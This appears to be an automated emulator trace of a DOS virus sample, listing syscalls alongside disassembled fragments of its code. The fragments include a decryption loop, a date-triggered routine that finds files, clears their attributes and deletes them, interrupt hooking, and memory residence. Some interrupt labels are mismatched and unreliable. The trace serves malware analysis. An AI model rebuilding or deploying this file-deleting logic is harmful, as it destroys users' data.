Sample viewer

vx.netlux.org/Virus.DOS.Corea.Nambul.722.b

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:04:53.933541739Z 44 PC: 18313 | Get time 0x18313: mov byte ptr ds:[bp + 0x10e], dl
0x18318: mov byte ptr ds:[bp + 0x10c], dl
0x1831d: mov byte ptr ds:[bp + 0x103], dl
0x18322: mov byte ptr ds:[bp + 0x104], dl
0x18327: mov byte ptr ds:[bp + 0x105], dl
0x1832c: mov byte ptr ds:[bp + 0x106], dl
0x18331: mov byte ptr ds:[bp + 0x107], dl
0x18336: mov byte ptr ds:[bp + 0x108], dl
0x1833b: mov byte ptr ds:[bp + 0x109], dl
0x18340: mov byte ptr ds:[bp + 0x10a], dl
0x18345: lea si, word ptr [bp + 0x35d]
0x18349: mov cx, 0x2d2
0x1834c: mov al, byte ptr ds:[bp + 0x34b]
0x18351: xor byte ptr [si], al
0x18353: inc si
0x18354: loop 0x18351
0x18356: mov ah, 0x2a
0x18358: int 0x21
0x1835a: cmp cx, 0x7ce
0x1835e: jg 0x18367
2018-12-17T22:04:53.937040605Z 42 PC: 1835a | Get date 0x1835a: cmp cx, 0x7ce
0x1835e: jg 0x18367
0x18360: cmp dh, 3
0x18363: jg 0x18367
0x18365: jmp 0x183db
0x18367: mov ah, 0x4e
0x18369: lea dx, word ptr [bp + 0x354]
0x1836d: mov cx, 0
0x18370: int 0x21
0x18372: jb 0x1838a
0x18374: mov ax, 0x4301
0x18377: xor cx, cx
0x18379: mov dx, 0x9e
0x1837c: int 0x21
0x1837e: mov ah, 0x41
0x18380: int 0x21
0x18382: mov ah, 9
0x18384: lea dx, word ptr [bp + 0x35d]
0x18388: int 0x21
0x1838a: mov ax, 0x304b
2018-12-17T22:04:53.939355911Z 78 PC: 18372 | Find first file
2018-12-17T22:04:53.945468005Z 48 PC: 1838f | Get DOS version
2018-12-17T22:04:53.947339954Z 53 PC: 1839e | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:04:53.952114348Z 9 PC: 15df0 | Display string (String= ' Mouse Driver Version 3.00 IBM XT,AT,PS/2 & Compatibles. ')
2018-12-17T22:04:53.962952575Z 53 PC: 16870 | Get interrupt vector (Interrupt = '116' AKA 'UNKNOWN!')
2018-12-17T22:04:53.964754901Z 37 PC: 1688d | Set interrupt vector (Interrupt = '116' AKA 'UNKNOWN!')
2018-12-17T22:04:53.971546337Z 53 PC: 16899 | Get interrupt vector (Interrupt = '8' AKA 'Console input without echo')
2018-12-17T22:04:53.972802252Z 37 PC: 168a9 | Set interrupt vector (Interrupt = '8' AKA 'Console input without echo')
2018-12-17T22:04:53.973887947Z 53 PC: 168ae | Get interrupt vector (Interrupt = '16' AKA 'Close file')
2018-12-17T22:04:53.97598445Z 37 PC: 168be | Set interrupt vector (Interrupt = '16' AKA 'Close file')
2018-12-17T22:04:53.977050833Z 53 PC: 168c3 | Get interrupt vector (Interrupt = '51' AKA 'Get or set Ctrl-Break')
2018-12-17T22:04:53.978109887Z 37 PC: 168d3 | Set interrupt vector (Interrupt = '51' AKA 'Get or set Ctrl-Break')
2018-12-17T22:04:53.979752124Z 53 PC: 168d8 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-17T22:04:53.981377647Z 37 PC: 168e8 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-17T22:04:53.984566364Z 61 PC: 167b8 | Open file (Filename = 'jW!/%')
2018-12-17T22:04:53.991851467Z 9 PC: 1614a | Display string (String= '3*C]lZY[XPSVWPOJc_^[XPSVWeO JG_^[XPQVWN tJ*_^YXPQVJ^YXPRVzK^ZXP<')
2018-12-17T22:04:53.999883702Z 49 PC: 16179 | Terminate and stay resident (Return code = '0' | Memory size = '826')